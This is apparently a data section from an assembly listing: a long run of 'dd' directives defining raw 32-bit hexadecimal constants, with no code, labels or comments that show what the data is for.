dd 3B66A080h, 7127506h, 76C98500h, 45BE8B20h, 0EEFC2C5Dh
dd 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h, 355449h, 41CE751Bh
dd 8289AC08h, 0EAA4F800h, 4790C362h, 142D00DCh, 3EE091FBh
dd 1500EE21h, 0EC2906C0h, 0F01F84h, 1DC8BD4Ch, 0FC485FB9h
dd 0EFE06B02h, 0F58E412Dh, 344F9B40h, 0D029EDF5h, 0C50079B7h
dd 4ACCBD43h, 4FB67h, 0A0380C4h, 8B87558Dh, 351DD77Dh
dd 49001EB5h, 1AB940C6h, 19FA00C4h, 1624DEC0h, 0B100DF77h
dd 9B7A8528h, 70CAA1Dh, 899E2099h, 1A7FB0FBh, 24008E01h
dd 7027CA11h, 0FCDFF045h, 320D0598h, 802EE2E9h, 9B89110Fh
dd 50003E71h, 25F5E86Fh, 1A6DC9h, 2DAF884Ah, 0BD830685h
dd 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch, 7500F25Dh, 43C61611h
dd 28FB05h, 0C134E94Ah, 0A282701Dh, 1C8E9507h, 857214C0h
dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h
dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h
dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h
dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h, 699D7F9h
dd 87578580h, 30871C2h, 0A2B45005h, 604C6A8Eh, 4DE82C66h
dd 49271B00h, 0C0223Dh, 0BAE12A76h, 0AA922E38h, 7B430700h
dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h
dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch
dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h, 4300EC90h
dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh, 792A4D6h
dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh, 0AF6CB8h
dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
dd 6C7002Ch
dd 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh, 4330093h
dd 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h, 116500A5h
dd 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h, 0D794E8h
dd 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h, 1FBAE619h
dd 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h, 92B6E74Fh
dd 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h, 4254C730h
dd 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h, 0E4008AF4h
dd 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h, 8000550Eh
dd 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh, 4A95651Dh
dd 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h, 80744965h
dd 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h, 0EC880E11h
dd 29604276h, 5245CC6h, 55455900h, 0EB3125B2h, 93AF00CAh
dd 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch, 9A0A0078h
dd 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h, 0D3815A84h
dd 9B64C883h, 71BF1800h, 17514794h, 93F20052h, 31D0811Fh
dd 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h, 730A8BB0h
dd 806D400h, 95419FE8h, 0B8495F01h, 0B87E007Eh, 9451A25Ch
dd 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h, 95F00A9Eh
dd 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h
dd 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h, 0C7D8051h
dd 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h, 0E224D455h
dd 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h, 0D800912Eh
dd 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h, 0FAEBFC4h
dd 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h, 0F8573ECEh
dd 54964h, 0B814922Ah, 6741526h, 5869A703h, 0D8D1D7C2h
dd 13F681Ch, 3323E1FDh, 0D8458850h, 10FA03B2h, 48A05D3Dh
dd 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h, 304AC7C3h
dd 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh, 2E467588h
dd 0E5F45Ah, 5DD05110h, 0E800F83Eh, 0D825996Fh, 730BEE89h
dd 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h, 5B7046FBh
dd 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh, 0FF21CC43h
dd 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h, 0EB2AC154h
dd 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h, 2C413249h
dd 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh, 3300A0FCh
dd 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h, 0DB040801h
dd 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h, 13001109h
dd 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h, 0D5721571h
dd 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h, 338C8004h
dd 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h, 0E27B7880h
dd 0B055500h, 22CA2EBAh, 60570044h, 4B011029h, 2801FA5Fh
dd 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh, 9100187Ah
dd 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h, 83762AE4h
dd 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h, 1CAFE4DDh
dd 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h, 0FE6A24B2h
dd 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h, 0AF49741Fh
dd 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h, 7F000D7Eh
dd 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh, 32003BD9h
dd 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h, 2D9935EBh
dd 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh, 0C2D80088h
dd 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh, 996625A7h
dd 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh, 0D8C26938h
dd 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h, 519ACAA1h
dd 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh, 34CE0095h
dd 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh, 0EA310066h
dd 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh, 70FEF684h
dd 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh, 0A54261A6h
dd 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h, 8D092280h
dd 89A59644h, 6610B900h, 148EBB8h, 55500018h, 0C395CCCFh
dd 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h, 0F312C879h
dd 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h, 234D836Dh
dd 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h, 74EB0D3h
dd 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h, 0F2088AECh
dd 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh, 4E776905h
dd 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h, 0A6C81DE0h
dd 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h, 0E801E074h
dd 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h, 0B6430403h
dd 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh, 745A3401h
dd 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h, 303CC200h
dd 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h, 1000D07Ah
dd 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh, 0ED779201h
dd 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch, 38302880h
dd 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah, 0A200C0C7h
dd 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h, 335868F2h
dd 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h, 5663004h
dd 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h, 6E010028h
dd 91F93538h, 22009409h, 0DAC144AAh, 16EC89h, 693E552h
dd 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh, 0A272F03h
dd 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h, 0D3B11994h
dd 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h, 0CDF15898h
dd 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h, 47823B42h
dd 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h, 0A62D0042h
dd 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h, 0CC240764h
dd 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh, 776A3A1Bh
dd 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h, 0C5D90050h
dd 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h, 19A30FC2h
dd 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh, 6469F2h
dd 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh, 0C3E33400h
dd 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h
dd 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h
dd 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h
dd 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h
dd 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh, 6500E035h
dd 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh
dd 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h
dd 5328BF07h, 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h
dd 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h, 3B004683h
dd 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h
dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh
dd 9A5BF8h, 1241FE5h
dd 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh, 736B6FF2h
dd 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h, 8503D10h
dd 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h, 190A00E5h
dd 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h, 796E1DA6h
dd 85550303h, 2EB1215Eh, 0A580F056h, 10658100h, 29DF4131h
dd 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch, 0E8842B54h
dd 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh, 5F0E67EDh
dd 263A62C0h, 1493008Dh, 97103644h, 0D6755420h, 0F3619801h
dd 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h, 29CA5C91h
dd 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h, 83C22D7Fh
dd 400EBF8h, 6A762170h, 136FCA5h, 75323C48h, 0C8180C24h
dd 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh, 12AFAA95h
dd 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h, 0DA8006F1h
dd 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h, 687130h
dd 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h, 2F7400F5h
dd 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh
dd 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h, 7D4EA48h
dd 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch, 6F5F44Bh
dd 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h, 7426C084h
dd 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h, 0B42CDADh
dd 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h, 3B5638A1h
dd 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h, 3D90A13Dh
dd 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h, 0A4400343h
dd 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch, 24CDC029h
dd 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h, 0B24460B5h
dd 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h, 63FC09Eh
dd 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h, 40B20007h
dd 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h, 0CC020035h
dd 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh, 0A81AC91Ch
dd 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah, 35252991h
dd 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh
dd 20A9840Ch, 0E4EC3Ah, 0AA5382B6h, 4C092293h, 0B00FFBADh
dd 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h
dd 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h, 0ED7A8D35h
dd 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h, 76007662h
dd 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h, 0AC758224h
dd 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h, 0E804C8B9h
dd 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh, 9767FC24h
dd 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h, 0F0F6F1h
dd 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h, 0A58B01B0h
dd 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h, 11B974h
dd 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h, 3EED805Ch
dd 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h, 85CA3Bh
dd 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh, 0B16FE8C7h
dd 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch, 0C38C49C0h
dd 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h, 0B1283C00h
dd 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h, 34F49E60h
dd 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h, 0AF04E4E5h
dd 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch, 0C590832Eh
dd 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h, 324A8110h
dd 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh
dd 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h, 0CC653B40h
dd 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h, 0CF27A9h
dd 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h, 0E1B5358Eh
dd 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h, 0C732D8h
dd 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h, 0B795A0E3h
dd 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh, 505AA41Fh
dd 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h, 47895C00h
dd 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h, 46B9C400h
dd 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh
dd 603E4E20h, 3B644E2Bh, 487109h, 22759166h, 0A9944487h
dd 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h, 0A2580693h
dd 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h, 0AA003308h
dd 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h, 0B03F1F6Ch
dd 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h, 24269DF7h
dd 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh, 912C2040h
dd 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h, 1C575E09h
dd 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h, 70CAFDE2h
dd 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh
dd 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h, 4100723Bh
dd 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h, 95796406h
dd 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h, 0A410500h
dd 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh, 9800FAC6h
dd 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h, 2400640Ah
dd 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h
dd 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h, 386A8088h
dd 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h, 14D8B2D8h
dd 0EF486A4Eh, 27400086h, 96554152h, 4D050775h, 0A054BA08h
dd 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h, 0D55247C2h
dd 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h, 3A1DA6DFh
dd 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh, 847D8351h
dd 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h, 0D7975F4h
dd 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh, 130073B8h
dd 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh, 3E25E93Eh
dd 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h, 34232CFFh
dd 0CD00F37h, 604485A7h, 31382433h, 80522831h, 54E41940h
dd 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h, 8B9303E8h
dd 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h
dd 9750E01h, 487E00FFh, 0A7521AA1h, 400D50Ch, 62BEE0DEh
dd 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h
dd 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h
dd 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch
dd 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h
dd 52605307h, 0D1B77718h, 0C297BC0h, 12440F9Fh, 0CC20F804h
dd 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah
dd 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h
dd 264C4442h, 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh
dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h
dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h
dd 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch
dd 974A18h, 40A5EB63h
dd 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h, 910C1867h
dd 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h, 82D4BC92h
dd 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh, 9B0C960h
dd 3B02010Bh, 67D1C50h, 49DB608Bh, 9076010Ch, 78C3C129h
dd 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh, 48DA1A32h
dd 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h, 868042BCh
dd 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h, 0CA1F2820h
dd 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh
dd 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h, 0D2F13304h
dd 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h, 0E29C5E48h
dd 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh, 20A621EEh
dd 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h, 4470AB0Fh
dd 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h, 149500D7h
dd 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh, 5DC9CAD4h
dd 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h, 3F70A56Ah
dd 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h, 5198FFh
dd 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch, 2FB42480h
dd 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh, 54CF2088h
dd 803C004Ah, 638A551h, 58A2B891h, 89000B15h, 88BC461Eh
dd 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h, 706A6200h
dd 7899DF60h, 14510010h, 22836350h, 7D5C4161h, 73760E0Dh
dd 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h, 407C4100h
dd 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh, 80A66974h
dd 534018CFh, 48770061h, 0B37C577Dh, 4E019046h, 7BE16ED3h
dd 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh, 603B7165h
dd 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h, 800E1343h
dd 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h, 1243001Ch
dd 3637E72h, 61776D55h, 0B0604A00h, 0F07C6462h, 67700166h
dd 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h, 6EF6E063h
dd 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h, 0A288477Fh
dd 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h, 581862h
dd 6C1C6847h, 77875166h, 31706B00h, 1D466365h, 74487140h
dd 1F077972h, 80615167h, 74945527h, 88070F28h, 4AE36F54h
dd 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh, 6A0E654Bh
dd 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h, 681E009Fh
dd 486E38BFh, 95073052h, 1447CA1Ch, 3741150h, 61670046h
dd 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h, 0E851F0A1h
dd 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh, 0EA0BE276h
dd 24C8045h, 3140E65h, 1830A560h, 48B07742h, 0B6006C63h
dd 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh, 0B7C24400h
dd 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h, 0A92FC8B9h
dd 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch, 0BC009996h
dd 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h, 0BB505Ch
dd 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h, 28B4C28h
dd 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h, 1CA73E16h
dd 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh, 0AC95C031h
dd 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h, 81E7E0FBh
dd 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h, 0D55349Fh
dd 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h, 0F2AEB19h
dd 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h, 1A004240h
dd 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh
dd 1A552800h, 23224653h, 71110E44h, 528033B2h, 35752B03h
dd 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh, 9000C343h
dd 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h, 28B80AEEh
dd 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h, 0AE173B19h
dd 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh, 0C000F2DFh
dd 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh, 7AD026BEh
dd 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah, 183A0043h
dd 1B10475h, 3FE9EB00h, 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh
dd 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh, 0C84BBA75h
dd 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h, 436084DBh
dd 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h, 1C248D4Ah
dd 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h, 88FEF822h
dd 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h
dd 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h, 545DF0Ch
dd 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h, 5DCCC300h
dd 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh, 0C80F6CADh
dd 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h, 0C514D885h
dd 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h, 1B2480C4h
dd 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h, 851EC422h
dd 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h, 1CEB7FD8h
dd 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h, 26DC4522h
dd 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh, 0D76219D6h
dd 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh, 0C8305399h
dd 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h, 0D3C095BAh
dd 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h, 34288B01h
dd 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h, 0D8FE3020h
dd 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h, 55D0DCE9h
dd 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h, 12410C01h
dd 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h, 87A2EBC6h
dd 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h, 512F822Ch
dd 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah
dd 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh
dd 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh, 60923949h
dd 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h
dd 805D203Eh, 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh
dd 6EC0FA00h, 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh
dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh
dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh
dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh
dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h
dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h
dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h
dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh
dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h
dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h
dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h
dd 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h
